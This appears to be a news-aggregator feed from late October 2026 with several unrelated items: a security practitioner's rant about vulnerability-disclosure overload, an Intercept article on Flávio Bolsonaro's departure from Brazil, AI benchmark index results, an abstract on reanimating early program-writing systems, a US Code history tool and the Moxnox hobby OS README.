Oh, you have a detailed package inventory or, dare I say it, SBOMs? That's really nice. Do show me where that lists the various vendored or hard-coded CA trust bundles . Yeah, I didn't think so. ³

(At least this incident was not AI generated, detected, or triggered. Just one of your wholesome, classical, a-human-going-"huh" kind of discoveries. It's almost reassuring that we still get these, too.)

" php2shell " (CVE-2026-109618, CVE-2026-109619)

The PHP vulnerability that supposedly affects "over 70% of websites" (a widely quoted, but never attributed statistic) was disclosed under embargo to several organizations. If you were part of this inner circle, then this should have reduced your panic-mode somewhat, buying you at least some time to deploy protections for your customers and do the tedious work of sifting through your inventory and, again, identify the attack surface, affected systems, possible local mitigations, etc. etc. The usual.

Unless the embargo is broken. Then you get to scramble again. And you need to keep up to date with all the rapidly published (and increasingly verbosely AI polluted) breathless blog posts driven by cyber security vendors' marketing teams eager to beat each other as the first to detect ⁴ , first to exploit, first to brag, all of which adds to the distraction.

And of course you still need to do the actual work of determining the accuracy of the various exploits floating around the internet, some put together by people with a clue and many, many slopped together by those lacking a full understanding of the bug ⁵ . (More on that below.)

The brotli RCE (CVE-2026-111497)

And then, by the time Thursday rolls around, people start to see a NodeJS security advisory , which includes as the third "high" severity vulnerability an issue with the "Node.js Brotli decoder". Alright, attack surface enumeration, software inventory check, start to deploy updated packages,... the usual.

Except, of course, once you take a closer look, it begins to dawn on you that this goes well beyond just Node.js ⁶ . And so once again, having the upstream fix available is absolutely not your bottleneck, because you still need to find the plethora of frankenstances of brotli across all of your stacks first.

Of course at that point in time OpenAI starts to go "Us! It was us! We found it!" even though the issue was fixed back in February and Mozilla noted the critical security impact as far back as April. It seems there's no vulnerability, no compromise, no cyber crime AI companies are not willing to claim as their credit.

(More) Winter is Coming

All of this was going on over the course of one week, and doesn't even account for the previous set of weekly Linux local privilege escalation vulnerabilities ⁷ . And no doubt there will be more such disclosures—many more.

AI companies are incentivized to continue the onslaught, with the most benevolent interpretation of mass disclosures of findings being a canonical example of " verschlimmbessern ", with less friendly interpretations observing that it's profitable for a company to create the disease for which they're selling you to treatment (and never the cure). They've got a new toy, it's a hammer, and by golly they're gonna swing it.

Millions of dollars have been spent on identifying vulnerabilities using so-called "frontier AI models", and we know that adversaries are feeding, e.g., the Linux kernel commit messages into their models to analyze them for exploitable vulnerabilities on the fly. Today, vulnerabilities are found independently by multiple parties on a regular basis, so you already have to assume that a disclosure embargo only contains the massive exploitation by opportunistic adversaries at best.

At the same time, I'm observing a worrying trend on the defensive side of cyber security, which mirrors the same de-skilling trend across the industry: AI generated vulnerability reports are often much, much too verbose to be digested easily by human readers. They drown you in details, overwhelm your attention with unnecessary information. Because defenders don't fully understand the vulnerabilities described here, they tend to believe the generally exaggerated severity claims, and feed the full report into their AI to reproduce or generate a proof of concept.

Several thousand tokens later, you end up with a binary handed to you by a meat-proxy that's supposed to trigger the vulnerability, but nobody actually understands why it works. Which, more often than not, it actually doesn't , because your environment is different, your AI was missing context the meat-proxy didn't (know to) provide, because the code base differs from upstream, or who knows what else. When you ask for clear instructions on how to run the exploit, what pre-conditions need to be met, and how it works—you know, the kind of one-pager that offensive engineers used to be able to produce—you get back, you guessed it, an AI-vomited 7,000 word README.md . ⁸

Incident Fog

Fighting one fire at a time is taxing enough. Each one of the above examples would have been a once-a-year incident not too long ago. Having multiple such incidents at the same time is burning out all your incident response staff, your engineers, your comms and legal teams.

(And it always is more or less the same set of people driving each incident. I have not seen organizations properly staffed and not relying on the same set of ghostbusters—the heroes and company-elders with the required tribal knowledge to make up for the gaps in your software inventory, attack surface enumeration, and documentation, because who else are you gonna call?)

Context switching between each of these incidents means you can't focus on any one of them, making you more likely to miss important information, to fall for sensationalistic headlines, to succumb to pressure and to rush fixes you don't understand for vulnerabilities that might not apply in your environment. Which, in turn, makes more people more susceptible to the appealing lure of quick and confident answers from the bot, and subject-matter non-experts start to paste their prompt results into incident response channels.

This is not sutainable.

How it gets better

Oh, lol, sorry, I mislead you. When you ramble and rant, you're supposed to end on an upbeat note, provide a solution ⁹ , proffer suggestions on how we can all roll up our sleeves and work together and solve the problem. Alas, I have no idea.

Ah, but surely all of this is just temporary , right? AI will find all the vulns, we slog through this dark winter of disclosure chaos, and then come out in a world where all software vulnerabilities have been found and fixed.

If you're able to believe that, I envy you. I don't see it happening. If you try to tell me that software developers should just use AI to generate patches, remember that over 50% of the time , AI either doesn't fix the issue, introduces a new vulnerability, or changes the application's behavior in the process. Reducing our own understanding of complex software while simultaneously producing more and more code is a recipe for more vulnerabilities, not fewer. And, at the risk of sounding like a broken record, getting the vulnerability fixed is not the bottleneck .

Even if the current status were temporary—for how long? A year? Two? And what are we supposed to do in the meantime? Hiring more infosec staff isn't likely to happen in this economy . Investing into overhauling your entire infrastructure such that you can at least pull in and deploy updates automatically and reboot your fleet and do all that safely is equally unlikely: companies have gotten away with not doing that for decades, and who wants to be the VP or executive who shifts funding away from "moar code moar faster"? Not to mention that such a project would take several years as well.

The last option left is to simply accept the status quo. There will be more vulnerabilities, including RCEs, and you won't be able to keep up with them. Your only option is to limit the blast radius. Assume compromise, detect exploitation, limit exposure, lateral movement, privilege escalation, etc. If that sounds like an old hat, well, yes, that's what sane infosec practitioners have been asking for funding for for decades. (We used to call it "Zero Trust", before that became an empty marketing term.) But that funding instead goes to the next singing and dancing, AI-based vulnerability management SIEM dashboardmajing, which will only miss 40% of your infrastructure and assets. Hooray!

Well, good night and good luck, indeed.

I'd also like to hold vendors accountable for shipping software with known vulnerabilities, but I don't know what that is supposed to work for Open Source, nor do I think it solves the disclosure-as-ddos problem. ^↩

The Bolsonaro Family Playbook: Lose, Cry Fraud, and Run to Trump’s America

Brazil’s Supreme court tried to strip Flávio Bolsonaro's passport, but the Trump administration granted him a visa, according to reports. The post The Bolsonaro Family Playbook: Lose, Cry Fraud, and Run to Trump’s America appeared first on The Intercept....

Andrew Fishman is an investigative journalist based in Rio de Janeiro and the president of The Intercept Brasil.

“I never thought about leaving the country,” Flávio Bolsonaro, a Brazilian senator and son of the deposed, disgraced leader, told his 16 million Instagram followers on Monday. It was the day after he lost the presidential election to President Luiz Inácio Lula da Silva by a margin of more than 4 million votes.

Flávio promised to stay in Brazil to “organize the opposition” during Lula’s next term.

“I’m the last obstacle to the Workers’ Party’s plan to destroy the country,” Flávio warned, referring to the party of Lula, who defeated his father four years earlier.

A few hours later, he left his mansion in Brasilia and sought asylum in the U.S. The Trump State Department told the Associated Press that it will grant him and his family visas.

The affinities become obvious when you watch Bolsonaro’s failsons end up in Trump’s America.

“I didn’t take sides, but it looked like another rigged election,” President Donald Trump told reporters on Monday, echoing Flávio’s election night talking points without providing any credible evidence that casts doubt on Lula’s come-from-behind victory — even as Flávio’s own party put out a statement acknowledging the results later that day.

It is no coincidence that the Trumps and the Bolsonaros are so fond of each other. Their modus operandi is nearly identical.

Both wrap themselves in the rhetoric of patriotism and moral righteousness, while treating their political offices as personal get-rich-quick schemes. And, when their lies finally catch up with them, you can be sure that they will jump ship to save themselves first and abandon their followers.

The affinities become obvious when you watch Bolsonaro, his failsons, and co-conspirators all end up in Trump’s America, where Flávio is about to join his brother, and in the denialism and violence that follow their failures.

Coups and Flight Risks

Flávio Bolsonaro’s election denial and hasty escape are his version of Trump’s infamous January 6 speech: Rile up the troops to do your dirty work and get the hell out of the way.

It’s not the first time a Bolsonaro ran this playbook. After Jair Bolsonaro became the first modern Brazilian president to lose a reelection bid, he refused to attend the January 2023 inauguration ceremony. Instead, he also fled to the U.S., staying in a Minions-themed children’s bedroom in the Orlando, Florida, home of retired UFC fighter José Aldo.

A week later, on January 8, the ex-president’s allies laid siege to the capital, Brasília, vandalizing Congress, the presidential palace and the Supreme Court, as foot soldiers in a larger coup plot to overthrow the Lula government. Nearly four decades of Brazilian democracy was only spared when key military leaders blinked before they could finish the job.

Jair Bolsonaro eventually returned to Brazil and was sentenced to 27 years in prison for leading the plot, which included a plan to assassinate Lula, Vice President Geraldo Alckmin, and Supreme Court Justice Alexandre de Moraes. Allies, including top military brass, were also convicted. Jair remains under house arrest — widely thought to be pinning his hopes for freedom on a Flávio presidency that wasn’t to be.

Flávio, however, will not be lonely in the States. His brother, former Brazilian Congress member Eduardo Bolsonaro, just received green cards for his family and is living in a $1.2 million McMansion in Southlake, Texas, in the Dallas-Fort Worth area, as we revealed in The Intercept Brasil earlier this year. Eduardo, who is a regular on the Trumpworld circuit, was sentenced in absentia to four years and two months in prison for lobbying the U.S. government to interfere in his father’s trial.

Flávio, too, seems poised to receive news of his own prison sentence while sitting on a couch in a Texas suburb. In May, our reporting at The Intercept Brasil put the first nail in the coffin of his presidential campaign when we published chat logs and audio recordings of the senator negotiating $24 million — and being wired $10 million — from disgraced billionaire banker Daniel Vorcaro, who is a sort of Brazilian cross between Charles Ponzi and Jeffrey Epstein.

The payments, wired to a U.S. account, were supposedly meant to finance “Dark Horse,” a biopic about Jair Bolsonaro starring Jim Caviezel. Brazilian Federal Police, though, have already poked holes in Flávio’s story as they investigate whether the money was actually used to bankroll Eduardo’s treasonous lobbying of the Trump administration to sanction Brazil and help his brother’s electoral chances.

Flávio is also being investigated for his alleged ties to a billion-dollar money-laundering scheme through an online betting company run by Willer Tomaz. The two are not only close friends but also business partners. Flávio even had unfettered access to one of Tomaz’s offshore bank accounts. You will not be surprised to learn that Tomaz left Brazil in August and is now living in Miami.

Police argued that, after losing the election, Flávio would pose a flight risk, especially in light of his closest associates’ recent actions. They asked the Brazilian Supreme Court to order Flávio to turn over his passport, which is permitted under Brazilian law. A top justice granted the request and, when the deadline passed, canceled the senator’s travel documents.

By then, Flávio was already gone.

Original Article

Index v5 features 2 new benchmarks and 3 upgrades. For the first time, the majority of the Index is built on private datasets

The Artificial Analysis Intelligence Index is our composite measure of model capabilities across tasks reflecting real-world usage today. v5 is our biggest upgrade since v4 launched in January. With v5, 60% of the Index is now based on evaluations with private test sets or held-out answers.

Alongside Intelligence Index v5, we’re launching the Artificial Analysis Progress Index v1, which tracks model capability over time on one continuous scale.

New to the Intelligence Index:

➤ FrontierCode 2.0: Cognition's newly-launched private benchmark of real-world coding tasks, graded on whether a repository maintainer would merge the agent's change

➤ Terminal-Bench-Science: 70 agentic scientific research tasks, run in a terminal environment

Upgraded:

➤ HLE-Diamond (replacing Humanity's Last Exam): a refined 1,000-question version of Humanity's Last Exam, split evenly between reasoning and knowledge questions

➤ AA-Omniscience v1.1: an updated dataset with saturated and public set questions removed, new questions added, and ambiguous or erroneous questions revised

➤ CritPt v2: a private, 40-question hard subset of CritPt v2, revised by the CritPt authors and run with a code-execution tool

Staying in the Index: AA-Briefcase, AutomationBench-AA, GDP.pdf and Terminal-Bench 4.0

Removed from the Index: GDPval-AA v2.1, SciCode, and AA-LCR v1.1

Intelligence Index v5 weights:

➤ Knowledge Work (25%): AA-Briefcase (15%), AutomationBench-AA (5%), and GDP.pdf (5%)

➤ Coding (25%): FrontierCode 2.0 (15%) and Terminal-Bench 4.0 (10%)

➤ Science (25%): Terminal-Bench-Science (15%) and CritPt v2 hard subset (10%)

➤ General (25%): AA-Omniscience v1.1 15% (10% accuracy, 5% non-hallucination) and HLE-Diamond (10%)

Key results:

➤ Claude Opus 5.5 (max) leads at 58, ahead of GPT-6 Astra (max, 57) and GPT-6.1 Sol (max, 55): Anthropic and OpenAI hold the top five models. Gemini 4 Argon (high) is next at 50

➤ The open weights gap widens from 3 points to 12: Kimi K3.1 Pro (weights not yet released) is the top open weights model at 46. Among released weights, DeepSeek V4.1 Flash 1017 (max) and GLM-5.3 (max) lead at 32 - 26 points behind the leader and below Claude Haiku 5.5 (max, 36)

➤ Cost per task varies by more than 13x among the leading models: of the 10 highest-scoring models shown, GPT-6.1 Terra (max) is the cheapest at $0.96 per Intelligence Index task and Claude Fable 5.1 (max) the most expensive at $13.04

FrontierCode 2.0 is the latest update of Cognition's private coding benchmark. Launched earlier today, it comprises 132 tasks in real open-source repositories, graded on whether a maintainer would merge the agent's change. An attempt that fails any blocking check scores 0, and the tasks stay private to avoid contamination. We run every task three times in Stirrup, our agentic harness.

Claude Opus 5.5 (max) leads at 46%, followed by GPT-6 Astra (max), GPT-6.1 Terra (max) and Claude Sonnet 5.5 (max), all at 42%. DeepSeek V4.1 Flash 1017 (max) is the highest-scoring open weights model at 28%, 18 points behind the leader.

Terminal-Bench-Science tests whether agents can carry out scientific research workflows in a terminal. Experts curate and review each task, and a task passes only if every one of its tests passes.

GPT-6 Astra (max) leads at 63%, followed by Claude Opus 5.5 (max) at 59% and GPT-6.1 Sol (max) at 58%. Scores drop off sharply below the leaders: the best open weights model, Kimi K3.1 Pro (weights not yet released), scores 34%, and Claude Haiku 5.5 (max) scores 20%. The best open weights model with released weights, DeepSeek V4.1 Flash 1017 (max), scores 13%, and most open weights models we benchmarked score under 10%.

HLE-Diamond replaces Humanity's Last Exam in the Index. It is the refined 1,000-question version of Humanity's Last Exam from the Center for AI Safety (CAIS) and Scale AI, split evenly between reasoning and knowledge. Claude Opus 5.5 (max) leads at 68%, followed by GPT-6 Astra (max) at 64% and Claude Fable 5.1 (max) at 60%.

Knowledge questions are harder than reasoning questions for the leading models: Claude Opus 5.5 (max) and GPT-6 Astra (max) both score 78% on reasoning, compared with 58% and 50% on knowledge.

AA-Omniscience v1.1 is a cleaned version of our knowledge and hallucination benchmark, with saturated and public set questions removed, new questions added, and ambiguous or erroneous questions revised. Scores are mostly aligned with v1, with models scoring on average 2 points lower on the AA-Omniscience v1.1 Index (median 0.6). We’ve also released a new public subset on Hugging Face, AA-Omniscience-Public-v1.1, recalibrated to ensure accuracy, hallucination rate, and overall performance are consistent between the public and private sets.

The Index scores CritPt v2 on a private 40-question hard subset: the 70 research-level physics questions, minus the 30 that seven frontier models solved in all five attempts at launch. Models work in an offline Python sandbox in Stirrup, our agentic harness.

GPT-6 Astra leads at 72% on high effort, followed by GPT-6.1 Sol at 69% on max effort. Claude Opus 5.5 (max), the top model in the Index overall, scores 61%. Kimi K3.1 Pro (weights not yet released) is the highest-scoring open weights model at 45%.

v5 leaves significant room for progress across all nine evaluations, and no single model leads them all. Of the models we measured, Claude Opus 5.5 leads three, and five other models lead the remaining six:

➤ Claude Opus 5.5: FrontierCode 2.0 (46%), HLE-Diamond (68%) and AA-Omniscience v1.1 (48)

➤ GPT-6 Astra: Terminal-Bench-Science (63%) and CritPt v2 hard subset (72%)

➤ Claude Sonnet 5.5: AA-Briefcase (1812 Elo)

➤ Kimi K3.1 Pro: Terminal-Bench 4.0 (67%)

➤ Gemini 4 Argon: AutomationBench-AA (78%)

➤ Muse Wonder Full: GDP.pdf (33% all-pass)

Open weights models fall further behind in v5. The best, Kimi K3.1 Pro (weights not yet released), scores 46, 12 points behind the leader, compared with a 3-point gap in v4.3. Of models with released weights, DeepSeek V4.1 Flash 1017 (max) and GLM-5.3 (max) score highest at 32, and Claude Haiku 5.5 (max) outscores all of them.

The gap is widest on HLE-Diamond and Terminal-Bench-Science, where Kimi K3.1 Pro scores 37% and 34%, compared with 68% for Claude Opus 5.5 (max) and 63% for GPT-6 Astra (max).

Cost varies widely among the leading models. Claude Opus 5.5 (max) costs $10.04 per Intelligence Index task, GPT-6 Astra (max) $6.24 and GPT-6.1 Sol (max) $1.27. GPT-6.1 Sol (max) scores within 4 points of Claude Opus 5.5 (max) at about an eighth of the cost per task.

Effort settings matter more in v5 than in v4.3. Claude Opus 5.5 scores 35 at low effort and 58 at max, at 10x the cost per Intelligence Index task ($0.98 vs $10.04). Claude Sonnet 5.5 spans 29 points from low to max, up from 20 in v4.3, and GPT-6.1 Sol's spread doubles from 10 to 20 points.

v5 tasks demand substantially more work from models. Every model we measured generates more output tokens per Intelligence Index task than in v4.3, with the median rising by two thirds, from 35k to 59k.

➤ Agentic evaluations account for most token use: Terminal-Bench-Science, Terminal-Bench 4.0, AA-Briefcase and FrontierCode 2.0 make up 55% of the Index weight but a median ~90% of output tokens

➤ Terminal-Bench-Science is the most token-intensive: it accounts for about a third of output Tokens per Task on its own

Alongside v5, we're launching the Artificial Analysis Progress Index v1. It places language models released since November 2022 on one capability scale, across a wide span of benchmarks.

Use the Progress Index to compare how underlying capability has changed over time, including between models released years apart. To compare models for current use cases and understand the present frontier, use the Intelligence Index, which remains our primary measure of current model intelligence.

Abstract: Early AI programs were often also theories of how people think, and programs that wrote programs were, in part, theories of how people program. Here we report on the reanimation of two such programs that offer two seemingly different theories of programming and were developed for quite different purposes. The first, Herbert Simon's Heuristic Compiler (1961), was an experimental model of programming as problem-solving, applying the means-ends analysis methods of the General Problem Solver to investigate the nature of the programming task. The second, KBEmacs (1984), was a working prototype of an intelligent programming assistant developed by MIT's Programmer's Apprentice project, built on the view that expert programmers recognize and combine familiar patterns, or "cliches." It let a programmer build up programs by combining cliches through a stylized English command language. We approach both through the methodology of Executable Archaeology, the study of historical computational systems by running their original code, a process we call "reanimation." Our reanimation of the Heuristic Compiler reproduces the compiled code appearing in Simon's 1963 paper, and our reanimation of KBEmacs reproduces the SQRT sequence of its December 1984 self-test. Examined side by side, the two theories turn out to have much in common: the Heuristic Compiler also works by adapting existing routines, and Simon later argued that search alone requires a large body of programming knowledge. To highlight the reflexivity of this project, we deliberately used a modern AI-assisted programming tool, Anthropic's Claude Code (Opus 5.5), to carry out much of the detailed reanimation work, building on a significant base of existing software. The explicit, executable theories of programming that both systems embodied are largely absent from today's far more capable AI coding assistants.

Original Article

A programmer can point at any line of code and see who wrote it, when, and what the file looked like on any past day. A lawyer reading a federal statute usually cannot, at least not without an afternoon in the notes at the foot of the section. But why shouldn't they have the same, convenient system of record? It is especially relevant given that so much first-pass legal research now runs through language models, which are often unable to utilise the proper lineage of a law, handcuffing its ability to offer interpretation.

The US code

Outside the titles Congress has enacted as positive law, the code is only prima facie evidence of the law, and the Statutes at Large govern where the two differ. ^{[

1

]} The Office of the Law Revision Counsel publishes it as a series of release points, each current through a named public law, and keeps reorganising it; a bill to enact title 41 as positive law was introduced in September 2025. ^{[

2

]} Which public law wrote a sentence is recorded in amendment notes, in prose. When a change took effect is often in a separate effective-date note, and where Congress said nothing the default rule is that a law takes effect on the day it is enacted. ^{[

3

]}

The definition of a small business debtor in 11 USC § 1182(1) shows how far apart those answers can be. It was created in 2019 with the existing small business debt limit. ^{[

4

]} The CARES Act raised the limit to $7.5 million in March 2020 as a temporary measure, later extended to March 2022. ^{[

5

]

,

[

6

]} That increase lapsed on 27 March 2022, and on 21 June 2022 Congress restored it for two more years, for cases commenced on or after 27 March 2020 and still pending, which reached back over the gap. ^{[

7

]} The higher limit expired again in June 2024, and after the triennial adjustment in April 2025 it stands at $3,424,000. ^{[

8

]

,

[

9

]} For a case filed in May 2022, the release point printed at the time gives the lower limit, and only a later Act changes the answer. A history that is useful to a lawyer has to carry the text, the date each change took force, and the scope of any law that reaches back.

A study from the Technical University of Munich this year found two failures in models answering questions on German statutes: they apply rules that were superseded after their training cutoff, and they prefer the newer provision even when an older one governs the facts. One model answered 24% of post-cutoff questions correctly on its own and 87% when the relevant statutory text was retrieved for it, and the authors conclude that temporal validity has to be treated as a hard constraint. ^{[

10

]} Other recent work trains search agents to respect the date a question is about, with large gains in consistency. ^{[

11

]}

Asking a model to produce the old text does not solve this. When the same Munich group had a model apply German amending laws to earlier versions, the output looked 93–99% similar to the official text, but only half of single amendments and a fifth of chains of amendments matched exactly, and experts found legally significant errors in the near misses. ^{[

12

]} The history has to be checkable.

For each pair of release points from 2017 onward, we took the public laws enacted in between, carried out their amending instructions on the older text in date order, and compared the result with the newer version. Of 365 changes across the nine titles, 361 reproduced the next release point exactly. The other four are shown with a label saying how far they could be confirmed. Each change then carries the law and the date it took effect: 261 took effect on enactment by default, 72 by an effective-date note and 29 by a date in the amendment itself. One depends on an agency determination that may never come, and we leave it out of the text rather than guess.

With that record, the reader can answer the questions lawyers ask. You pick a date and get the text in force on it, with the words that read differently today marked. Each phrase is coloured by the Act that wrote it. A change to a defined term lists every other provision that uses it, and you can follow a section to see what has changed since your last visit.

Limits

It does not yet show a later law’s reach back on the earlier dates it covers, so for a case filed in the 2022 gap it shows the lower limit without warning that the June 2022 Act changed the answer.

Effective-date notes are read by pattern, and unusual wording falls back to the date of enactment.

Each change links to the law’s own words, and for anything that matters the original should be read.

We're also still thinking about the right form factor this should take.

Moxnox 1.0: NT-Like, POSIX-Compatible OS Running Atop Btrfs

Hacker News

github.com

2026-10-27 19:53:41

Comments...

Original Article

Moxnox v1.0

Moxnox is an NT-like, POSIX-compatible hobby OS which runs on btrfs and is capable of self-hosting. That means:

Its design, such as the choice of syscalls, is modelled after that of Windows NT...
...yet at the same time, it should be capable of running software written for Unix-like systems, provided that they have been recompiled for it, and comes with a full GNU base system
It is mature enough that you can build Moxnox on Moxnox
And it runs on everybody's favourite Linux filesystem

Version 1.0 is around 130,000 lines of C++, and runs on amd64 and aarch64.

The btrfs code works for basic purposes, but has not been battle-hardened. Please don't try to mount anything but throwaway filesystems.

Running

To test Moxnox in qemu, download moxnox-amd64-1.0.img.gz and moxnox-kernel-amd64-1.0.efi . Run gunzip moxnox-amd64-1.0.img.gz to decompress the image.

Then:

qemu-system-x86_64 -M q35 -enable-kvm -cpu host -m 1024 \
-smp cores=4,threads=1 \
-kernel moxnox-kernel-amd64-1.0.efi \
-append "root=/dev/sda" \
-device ich9-ahci,id=ahci -drive id=disk,file=moxnox-amd64-1.0.img,if=none \
-device ide-hd,drive=disk,bus=ahci.0 \
-nic user,model=virtio-net-pci \
-device qemu-xhci \
-device usb-kbd,id=kbd \
-device usb-tablet,id=tablet \
-serial stdio

You will need to increase the memory from 1024 MB if you are trying anything strenuous, like self-hosting.

For ARM, something like the below should work:

qemu-system-aarch64 -M virt -cpu cortex-a76 -m 1024 \
-smp cores=4,threads=1 \
-kernel moxnox-kernel-aarch64-1.0.efi \
-append "root=/dev/sda" \
-device ich9-ahci,id=ahci -drive id=disk,file=moxnox-aarch64-1.0.img,if=none \
-device ide-hd,drive=disk,bus=ahci.0 \
-nic user,model=virtio-net-pci \
-drive if=pflash,unit=0,file=/usr/share/qemu/edk2-aarch64-code.fd,readonly=on \
-device qemu-xhci \
-device usb-kbd,id=kbd \
-device usb-tablet,id=tablet \
-serial stdio

Installing

First, use gparted or similar to create a new partition. 32 GB should be plenty. I'm calling it /dev/nvme0n1p99 below - don't get this wrong.

Make sure you have a recent versions of btrfs-progs, as we don't support some of the default settings used by the older versions.

Prepare the root drive:

# mkfs.btrfs /dev/nvme0n1p99
# mkdir /mnt/moxnox
# mount /dev/nvme0n1p99 /mnt/moxnox
# cd /mnt/moxnox
# wget https://github.com/maharmstone/moxnox/releases/download/v1.0/moxnox-amd64-1.0.tar.gz
# tar -xvzf moxnox-amd64-1.0.tar.gz
# rm moxnox-amd64-1.0.tar.gz
# cd
# umount /mnt/moxnox

Copy the kernel:

# mount /boot/efi
# cd /boot/efi
# wget https://github.com/maharmstone/moxnox/releases/download/v1.0/moxnox-kernel-amd64-1.0.efi

To install the boot entry, do something like:

# efibootmgr -c -d /dev/nvme0n1 -p 1 -L "Moxnox" -l '\moxnox-kernel-amd64-1.0.efi' -u 'root=/dev/nvme0n1p99'

efibootmgr likes to change the boot order afterwards, this probably is not what you want. The names of block devices should be more or less the same on Linux and Moxnox.

The "EFI" file is actually a polyglot file that also conforms to the Linux boot protocol, so it should also work on non-EFI GRUB. I have not tested this. How to set this up is left as an exercise for the reader.

Hardware support

For amd64, everything is compiled for x86-64-v3, which covers more or less anything manufactured since 2015 or so. Moxnox automatically uses and enables AVX512 if it detects it. For qemu, you need to specify the q35 machine type; the default pc machine is ancient, and doesn't have PCI Express. microvm works too.

For aarch64, we're using LSE atomics, which require ARMv8.1. That means the Raspberry Pi 5, but not any earlier models. Moxnox only supports ACPI, not Device Tree, so for the Pi you will also need https://github.com/worproject/rpi5-uefi . Unfortunately there is no raspi5 machine type in qemu, but I have had success with virt , and sbsa-ref works too.

Device support:

Block devices: NVMe, SATA, SDHCI (i.e. SD cards), virtio-block, USB mass storage
Network cards: virtio-net, RTL8168, RTL8125
Input devices: USB HID, PS/2 keyboard, PS/2 mouse, virtio-input
Graphics: virtio-gpu, GOP framebuffer, VBE, VGA text console (pass text=80x25 on non-UEFI boots)
Serial ports: virtio-console, x86 serial port, PL011 ARM serial port
USB: XHCI

Building

The easiest way to build is to pull the Docker containers maharmstone/moxnox-ci-amd64 or maharmstone/moxnox-ci-aarch64 , which contain the cross-compilers for x86_64-pc-moxnox or aarch64-pc-moxnox .

Then in the container:

$ git clone https://github.com/maharmstone/moxnox
$ cd moxnox

CMake will compile whichever of the submodules are checked out. For a minimal system:

$ git submodule update --init --depth 1 ports/acpica/repo ports/freetype/repo ports/gnu-efi/repo ports/harfbuzz/repo ports/libpng/repo ports/mingw-w64/repo ports/zlib/repo ports/musl/repo ports/tre/repo

For all of the ports, which might take a while:

$ git submodule update --init --recursive

Then:

$ mkdir build
$ cd build
$ cmake -DCMAKE_TOOLCHAIN_FILE=amd64.cmake -GNinja ..

or

$ cmake -DCMAKE_TOOLCHAIN_FILE=clang-aarch64-native.cmake -GNinja ..

Make sure you specify Ninja - we need this as we're using C++ modules. CMake defaults to Unix Makefiles, which don't work.

Finally:

gcc , llvm , and rust are not compiled unless explicitly requested due to their size. hexyl and ripgrep also need to be specified explicitly due to their dependency on rust .

To build on Moxnox, as above, but you don't need a toolchain file: cmake -GNinja .. . gcc , rust , hexyl , and ripgrep can't yet be compiled in Moxnox, but everything else works (eventually). You may need a lot of RAM and even more patience. If CMake complains about rust-libc , make sure that you don't have the Rust submodules checked out.

FAQs

What's missing?

Loads - but this is version 1.0. In particular:

A GUI
Support for different timezones
Support for different keyboard layouts
Locales and non-UTF-8 character sets
Any sort of security
Multiple users and groups

For performance issues and similar:

The userspace heap allocator could be a lot quicker (this is the bottleneck when self-hosting)
TCP is slow, because we don't negotiate an MSS and keep to the default 64KB window
We ought to be doing early writeback on memory pressure
There should be an LRU system to drop clean pages from the page cache...
...made worse by the fact that the dentry cache never gets pruned, so inodes stay open until deleted

And obviously there should be more ports and hardware support.

How compatible is it with NT?

The contract is that the syscalls and low-level interfaces match those of NT, but not the daemons or how the kernel itself is structured. This is in contrast to what ReactOS aims to do, which is an exact recreation of Windows.

So:

Binaries are PE format rather than ELF, and have a .exe or .dll extension
C++ exceptions are done through SEH
POSIX signals are done through Asynchronous Procedure Calls
All the non-kernel kernel-like stuff gets done in ntdll.dll
The rcx, rdx, r8, r9 calling convention matches that of Windows
And its C eccentricities match those of Windows: sizeof(long) == sizeof(int32_t) , sizeof(wchar_t) == sizeof(char16_t) , sizeof(long double) == sizeof(double) .

There's an awful lot of stuff in NT, but the interesting stuff that's missing is tokens, the Registry, and I/O completion ports.

NT has a complex system where there's a virtual filesystem but it's hidden (unless you use winobj), with the true path of a file hanging off the name of its block device (so C:\Windows\System32 might actually be \Device\HarddiskVolume1\Windows\System32 ). I've not replicated any of that. Paths are POSIX-like: slashes rather than backslashes, / as the root filesystem, and mounted directories. Unlike real Windows, NtCreateFile resolves . and .., to work better with the dentry cache.

Other things I've deliberately not copied are the various forms of transactions, which were a product of their time, and the idea of paged kernel memory, which causes more problems than it solves.

How compatible is it with POSIX?

We have implemented 642 of the ~1,200 functions in POSIX 2024. This is the vast majority of what's used in practice, with gnulib papering over some of the cracks. Unlike Windows, fork is there. I've used musl for its mathematical and cryptographic functions, and mingw for printf and some other things, and tre for its regexes.

The POSIX functions are split over ucrtbase , iphlpapi , and ws2_32 , as on Windows, with anything that Windows doesn't implement put in mnposix .

I've borrowed liberally from Linux's best ideas: the dentry cache, large folios, mapping the whole of physical memory, evdev.

Other POSIX shortcomings:

AF_UNIX is half-complete. socketpair works, including for SCM_RIGHTS ( ssh uses this), but the normal client-server code doesn't work
mkfifo creates an inode, but I/O to it does not get redirected to a buffer as it ought to do
APCs (i.e. signals) only get delivered when a thread returns from a syscall. So a program doing while (true) { } is currently unkillable.

How do I start sshd?

There's nothing that automatically starts daemons yet, so manually.

First generate the host key:

There's no passwords yet, so you will need to add a /root/.ssh/authorized_keys file so that you can connect. If you have trouble, double-check that /root is owned by root, as sshd will ignore this file otherwise.

Then start sshd using its full path:

Can this run Windows programs?

No. Or at least, not yet.

We deliberately do not implement any Win32 DLLs, bar a few functions in kernelbase that the mingw runtime wants. A future improvement would be to strip these out entirely, then port across Wine's versions of the Win32 DLLs. Some parts of Wine, like wineserver and ntdll , we would not need as we are already taking care of it ourselves.

How sloppy is this?

None of the substantive code was written by AI.

I used AI to help with the mechanical parts of porting (e.g. translating autotools to CMake, replacing ioctl calls with tcgetwinsize , translating the C structs into Rust), as well as to write some of the smoke tests (e.g. cairo-test , mesa-test ).

Where Claude really shines though is in reviewing your own commits. You give it a hash, and it tells you about the silly memory leak or deadlock that you left in, before you can make a fool of yourself.

Why?

For funsies. Plus the only way of really learning how something works is to have a go at writing it yourself.

Also, the NT kernel is criminally underrated, and pretty much unknown to hobbyists. It had features that Linux took years and years to come up with its own design for, such as eventfd and pidfd .

It's a shame that Windows keeps shying away from full POSIX compatibility. They had a half-complete version in the early days, then more recently had WSL1, only to then abandon it. And Nano Server was another cool idea, only again to be itself abandoned. So this is my take on what I wish Windows had been like.

Lula’s Victory Offers Hope for Democracy and the Amazon

Lula’s Victory Offers Hope for Democracy and the Amazon Judy Tue, 10/27/2026 - 19:48 ...

Original Article

President of Brazil Luiz Inacio Lula da Silva (L) and UN Secretary-General Antonio Guterres attend the opening ceremony of the “Belem Climate Summit” as part of the COP30 Brazil Amazonia 2025 on November 6, 2025 in Belem, Brazil. | Wagner Meier/Getty Images

